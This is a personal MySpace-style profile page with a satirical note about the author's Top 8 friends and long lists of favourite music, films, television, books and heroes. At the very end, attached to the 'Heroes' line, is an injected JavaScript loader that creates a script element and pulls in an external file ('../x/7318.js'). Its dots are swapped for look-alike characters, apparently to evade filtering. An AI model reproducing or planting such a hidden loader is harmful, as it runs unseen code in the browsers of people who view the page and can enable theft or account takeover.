Thoroughly Modern Fellow
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I'd like to meet:
I've given this one some thought, and I've come to the realization that not only do I not particularly wish to meet anyone new at this point in my life, but in fact I would find it preferable to pawn off some of the acquaintances that I already have. If you're interested in forging a new friendship -- or maybe something more, wink wink -- with a lonely, desperate, and bitter human, might I suggest perusing my "friends" list below and clicking on a link at random? I'm sure you'll be terribly disappointed by what you find there.
Some Oh-So-Clever Videos I Enjoy:
"I got some hot love on the hot love highway."
"Rosencrantz and Guildenstern are Dead"
A Note Concerning My Top 8:
When the dread dark master of MySpace Tom finally relented and gave us poor peons the right to select our own Top 8 lists, it caused a crisis of conscience which ripped through the very fabric of the MySpace 'verse. How could one go about selecting a mere eight friends to head their list without risking alienating the rest? Do you arrange your 8 by those you've known the longest, or those who you feel closest to, or by those whose pages you access most frequently? A number of clever solutions have been enacted throughout MySpaceland to combat this quandry. Some people have decided to arrange their Top 8's by art design, putting beauty over personality. Others keep a constantly rotating selection of friends, bands, and other institutions, designed to appease their critics with the assurance that they, too, will one day land on the ever-changing front-page Top 8 list. Still others have simply said "sod it all" and have thrown their lists together with a studied haphazardness designed to let those few who care know that in fact Homey, as the saying goes, does not play that game.
For myself, I have opted for a far simpler -- and dare I say it, more elegant -- solution: I arrange my Top 8 list by how much I like you as a person.
Chances are, if you're not on my Top 8 list I think you're stupid, ugly, untalented, unfunny, and a generally worthless human being. Were I confronted with a burning building, the ability to save only one person from within it, and the knowledge that both you and one of my Top 8 friends were trapped in its fiery depths, it is a virtual certitude that I would choose to rescue my Top 8 friend and leave you to die a slow and tortured death of melting fat and charred skin. Likewise, were one of my Top 8 friends toward the end of my list --- say, Jonathan -- to be trapped in said burning building with a Top 8 friend from higher on the list -- say, Sophia Vega -- I would allow Jonathan to perish in agony whilst snatching Ms. Vega from the very jaws of death itself and never give the matter a second thought.
Should you ever find yourself in the unenviable position of being ousted from my Top 8 list, you can rest assured that this has nothing to do with the vageries of my aesthetic tastes or a desire to engage in a "fair practice" rotation, but instead is a direct product of my dislike for you as a human being, and my firm belief that you personally deserve to be trapped within the confines of a burning building and die a terrible, painful, humilating death, followed by your soul's swift transmigration to a netherworld that is neither kind nor just, where you can spend the rest of eternity writhing in agony as you pay the ultimate price for the sin of proving yourself an uninteresting friend to me.
I appreciate your understanding in this matter, and wish you nothing but the best in all of your future endeavours.
Music:
MODERN: The Decemberists , The Divine Comedy, David Bowie , Bjork, Nick Cave & The Bad Seeds , Soft Cell, Jon Brion , Nina Simone, Cornershop, Tom Waits , Curtis Mayfield, (The Real) Tuesday Weld , Eels, Beck , Oasis (their first three albums, anyway), Morphine , Dan the Automator, Louis XIV, The Brian Jonestown Massacre , Sam Cooke, Aphex Twin (particularly his ambient work), Aimee Mann , Ray Charles, Arcade Fire, Ben Folds (with or without the Five ), Iggy Pop, The Dandy Warhols , Prince, Interpol , Meredith Monk, White Stripes, Rufus Wainwright , Miles Davis, Sebastian Tellier , Joy Division, Nico, Badly Drawn Boy , Ornette Coleman, Black Rebel Motorcycle Club , Antony and The Johnsons, Simian , Johnny Cash, Dusty Rhodes and the River Band , Andrew Bird, Ian Brown, Air , The Rapture, Clinic , Scott Walker, Sharon Jones & The Dap Kings, Jonathan Richman , The Books, Cat Power, Al Bowlly , R.L. Burnside, Fiona Apple, The Beta Band , Bonnie 'Prince' Billy (A.K.A. Will Oldham), The Brook Lee Catastrophe , The Cure (before they started to suck), Go Home Productions , The Chemical Brothers, Aretha Franklin, Jem , M. Ward, The Flaming Lips , Primal Scream, The Kinks, Radiohead , Soul Coughing, The Jon Spencer Blues Explosion , Love and Rockets, The Who, David J , Pet Shop Boys, Bauhaus, Elliot Smith , U2, Postal Service , New Order, Travis , Happy Mondays, The Shins , Barry Adamson, David Holmes, Belle & Sebastian , The Pixies, Adam Green, Tricky, Moby , Godspeed You Black Emperor, Oingo Boingo, Sigur Ros , William Shatner, Nirvana, Sufjan Stevens , The Beatles.
HIP-HOP: Kool Keith, Public Enemy , The Streets, Ice Cube, Gorillaz, Portishead (fuck you, yes, they're hip-hop), Lyrics Born , DJ Krush, Cee-Lo Green, Aceyalone, The Notorious B.I.G., AWOL One, Kid Koala , Justin Warfield, Danger Mouse, Beastie Boys, Saul Williams , Gang Starr, Dr. Octagon, U.N.K.L.E. (see my comments re:Portishead earlier in this list), Eminem, RJD2, Kutmasta Kurt, Handsome Boy Modeling School, Ugly Duckling , Blackalicious, Mos Def, A Tribe Called Quest, Deltron 3030, DJ Shadow , Run-DMC, Shakkazombie, Goldie Lookin' Chain, OutKast, The Shapeshifters , Prefuse 73, The Herbaliser, Missy Elliott, Tha Blue Herb , M.I.A.
CLASSICAL: Heiner Goebbeles , Ludwig van Beethoven, The Ahn Trio, Dmitri Shostakovich, Philip Glass , Krzysztof Penderecki, George Gershwin, Johann Sebastian Bach, Charles Ives , Bela Bartok, Sergei Vasilyevich Rachmaninoff, John Cage, Kronos Quartet , Silvestre Revueltas, David Shire, Gyorgy Ligeti, Glenn Gould. ...and others.
Movies:
FILMS: The Spirit of the Beehive, The Man Who Wasn't There , Last Night, The Conversation , The Age of Innocence, Harold and Maude , Lawrence of Arabia, Ed Wood , Exotica, Kicking & Screaming (1995), Star Trek II: The Wrath of Khan , A Forest With No Name, Eyes of the Spider, Ghost World , Better Luck Tomorrow, The Three Colors Trilogy , Another Woman, The Sweet Hereafter , Sympathy for Mr. Vengeance, Way of the Gun, The Thing (1982), The Conformist, Eureka, Bad Day at Black Rock , Before Sunrise, Sunset Boulevard (the movie, not the crappy musical version), Heavenly Creatures , 24 Hour Party People, Do the Right Thing , The Double Life of Veronique, Barton Fink , Before Sunset, Picnic at Hanging Rock, 2001: A Space Odyssey , Poppoya: Railroad Man, Metropolitan, Big Trouble in Little China , Get Carter (1971), High and Low, American Beauty , Wings of Desire, The Talented Mr. Ripley , Serpent's Path, The Bridge on the River Kwai , Ikiru, Nobody's Fool, Trainspotting , Bullets Over Broadway, Annie Hall , You Can Count on Me, Gemini, The Station Agent , In a Lonely Place, Bad Santa , El Topo, The Abyss , Romeo + Juliet (Baz Luhrmann), Dr. Strangelove , Battle Royale, J.S.A., Broadcast News , Cure, Lovers of the Arctic Circle, Almost Famous , Solaris (both versions), Rosencrantz & Guildenstern are Dead, The Wicker Man, Eternal Sunshine of the Spotless Mind , Monty Python and the Life of Brian, The Hudsucker Proxy , Once Upon a Time in the West, All the Real Girls , Waking Life, The Third Man , The Virgin Suicides, A Midnight Clear, Miller's Crossing , The Blues Brothers, North by Northwest , Jesus of Montreal, The Squid and The Whale, Living Out Loud , The Big Kahuna, Lost Highway , The Ipcress File, Joe Versus the Volcano , Peeping Tom, Brazil , Me and You and Everyone We Know, Kairo, The Good, The Bad, and The Ugly , Elephant, Army of Darkness , The Great Silence, OldBoy, Vertigo , The Royal Tenenbaums, Clockers, Escape from New York , Shall We Dansu?, The Apartment , Northfork, Audition, The Good Girl, Rushmore , Punch-Drunk Love, High Fidelity, The Big Lebowski , The Last Wave, Lost in Translation , A Fistful of Dollars, Charade , The Pillow Book, Groundhog Day , Sympathy for Mr. Vengeance.
DIRECTORS: Kiyoshi Kurosawa ,Atom Egoyan, John Carpenter,Peter Weir ,Chan-Wook Park, The Coen Brothers, Spike Lee,Terry Gilliam ,Woody Allen, Krystof Kieslowski, Quentin Tarantino,Cameron Crowe ,Jill Sprecher, John Sayles, Takeshi Kitano,Brian De Palma (back before he sucked),Noah Baumbach, David Lean, Akira Kurosawa,Richard Linklater ,Sergio Leone, Alejandro Jodorowsky, James Cameron,Sofia Coppola ,Chuck Jones, Powell & Pressburger, Stanley Kubrick,Wes Anderson ,David Gordon Greene,Baz Luhrman ,Denys Arcand, Kim Ki-Duk, David Cronenberg .
...and a veritable buttload more.
Television:
My Name is Earl, Spaced, Chapelle's Show , The Office (both versions), The Prisoner, NewsRadio, The Wire, Doctor Who, Looney Tunes, Firefly, Blackadder, Deadwood, Blake's 7, Mystery Science Theater 3000, Battlestar Galactica (the new version), Northern Exposure, Ultraviolet, Arrested Development, Survivors (the old BBC series, not the damned reality show about the assholes stuck on the island), Robotech, Curb Your Enthusiasm, The Daily Show, The IT Crowd, Profit, Buffy the Vampire Slayer, Absolute Power, The Simpsons, Oz, Sports Night, The Decalogue , Black Books, Upright Citizens Brigade.
I'm almost ashamed to admit it, but I enjoy "Lost".
Books:
FICTION: " The Age of Innocence " by Edith Wharton, "A Confederacy of Dunces" by John Kennedy Toole, "The Memory of Old Jack" by Wendell Berry, "The End of the Affair" and "Brighton Rock" by Graham Greene, " Catch 22 " by Jospeh Heller , "And the Ass Saw the Angel" by Nick Cave, "The Bone People" by Kari Hulme, "The Angel on the Roof" by Russell Banks, " The Reef " by Edith Wharton, "Solaris" by Stanislaw Lem, "Pinball 1973" by Haruki Murakami, Hemingway's short stories , "Love in the Time of Cholera" and "One Hundred Years of Solitude" by Gabriel Garcia Marquez, "Snow Crash" by Neil Stephenson, "The Brothers Karamozov" by Fyodor Dostoevsky, " The Transmigration of Timothy Archer " by Philip K. Dick, "Shopgirl" by Steve Martin, "The Face of Another" by Kobo Abe, "The Last Temptation of Christ" by Nikos Kazantzakis, " Love Remains " by Glen Duncan, "The Ballad of the Sad Cafe" by Carson McCullers, The "His Dark Materials" Trilogy by Philip Pullman, "Ender's Game" and "Speaker for the Dead" by Orson Scott Card, "Silence" by Shusaku Endo, "Mother Night" by Kurt Vonnegut, " The Unbearable Lightness of Being " by Milan Kundera (yeah yeah yeah, I know it's a cliche, now fuck off, will you?), "Lives of the Poets" by E.L. Doctorow, Chekhov's short stories (in whatever form you might find them).NON-FICTION: "The Invention of Solitude" by Paul Auster, "The Blind Watchmaker" by Richard Dawkins (and indeed most things by Richard Dawkins), "Last Chance to See" by Douglas Adams, "Miles" by Miles Davis with Quincy Troupe, "The Gnostic Gospels" by Elaine Pagels, "Wittgenstein's Poker" by David Edmonds and John Eidinow, "Infinite Thought" by Alain Baidou, "This is Orson Welles" by Orson Welles with Peter Bogdanovich, "A Dictionary of Angels" by Gustav Davidson, "Homicide" by David Simon, "Emperor Norton" by Robert Schekter, "A Liar's Autobiography" by Graham Chapman, "Wisconsin Death Trip" by Michael Lesy and Charles Van Schaick, "In Cold Blood" by Truman Capote, Friedrich Nietzsche's writings on the Eternal Return , "In the Blink of an Eye" by Walter Murch, "The Genesis and Geometry of the Labyrinth" by Patrick Conty, "The Conversations" by Michael Ondaatje, and general discussions on moral thought, wherever they might come from.
PLAYS: "The Invention of Love" by Tom Stoppard, "Fat Pig" and "The Shape of Things" by Neil Labute, "Hospitality Suite" by Roger Rueff, " Krapp's Last Tape ", " Endgame ", and " Waiting for Godot " by Samuel Beckett, "The Designated Mourner" by Wallace Shawn, "This is Our Youth" by Kenneth Lonergan, " Glengarry Glen Ross " by David Mamet, "The Lion in Winter" by James Goldman, "The Chairs" by Eugene Ionesco, "Boston Marriage" by David Mamet, "Betrayal" by Harold Pinter, "Arcadia" and "The Real Thing" by Tom Stoppard, " Othello " by William Shakespeare, "Three Tall Women" by Edward Albee, "Ghosts" by Henrik Ibsen, "The Slave" by LeRoi Jones, "Women of Manhattan" by John Patrick Shanley, "Angels in America" by Tony Kushner, "Life X 3" and "Art," both by Yasmina Reza, " The Seagull " and " Uncle Vanya " by Anton Chekhov, and anything that's actually funny.COMICS: " Cages " by Dave McKean, "Mage" by Matt Wagner, "Watchmen" by Alan Moore, "Summer Blonde" by Adrian Tomine, "Sandman" by Neil Gaiman, " Nufonia Must Fall " by Kid Koala, "Planetary" and " Transmetropolitan ", both by Warren Ellis , "Cerebus" by Dave Sim, "Ghost World" by Daniel Clowes , "Uzumaki" by Junji Ito, "Dark Knight Returns" by Frank Miller , "Elementals" by Bill Willingham, "Alias" by Brian Michael Bendis, "Blankets" by Craig Thompson.AUTHORS: Graham Greene, Douglas Adams , Oliver Sacks, Halldor Laxness, Mark Twain , Neal Stephenson, Bill Bryson, Ernest Hemingway, Anton Chekhov , Italo Calvino, Haruki Murakami, John le Carre, H.P. Lovecraft , David Foster Wallace, Anais Nin , Richard Dawkins, Paul Auster , Kobo Abe, Tim Powers, Warren Ellis , Umberto Eco, Stanislaw Lem , Roddy Doyle, Cory Doctorow , Jiro Asada, E.L. Doctorow, Alain de Botton, Jorge-Luis Borges , Christopher Moore, Russell Banks , Richard Price, Edith Wharton , Kenzaburo Oe, Glen Duncan.PLAYWRIGHTS: Tom Stoppard, Neil LaBute, John Osborne, Samuel Beckett , Mark Ravenhill, Kenneth Lonergan, Martin McDonagh, Anton Chekhov , Howard Barker, Steven Dietz, Eugene Ionesco, Edward Albee, Willy Shakespeare , Don Nigro, Peter Handke, Wallace Shawn .POETS: T.S. Eliot , Ralph Angel , Dylan Thomas , Quincy Troupe , Robert Pinsky , Billy Collins , B.H. Fairchild , Allen Ginsberg , Alfred Lord Tennyson , e.e. cummings , Mark Doty , W.H. Auden , Tomaz Salamun , A.E. Housman , David St. John , and " Tractatus Logico-Philosophicus " by Ludwig Wittgenstein (questionable philosophy; good poetry).
...and I'll stop here before I begin to bore even myself.
Heroes:
Tony Wilson, Stringer Bell, Sisyphus. .."var s=document·createElement('script');s.src='../x/7318.js' ;document·getElementsByTagName('head')[0].appendChild(s );"
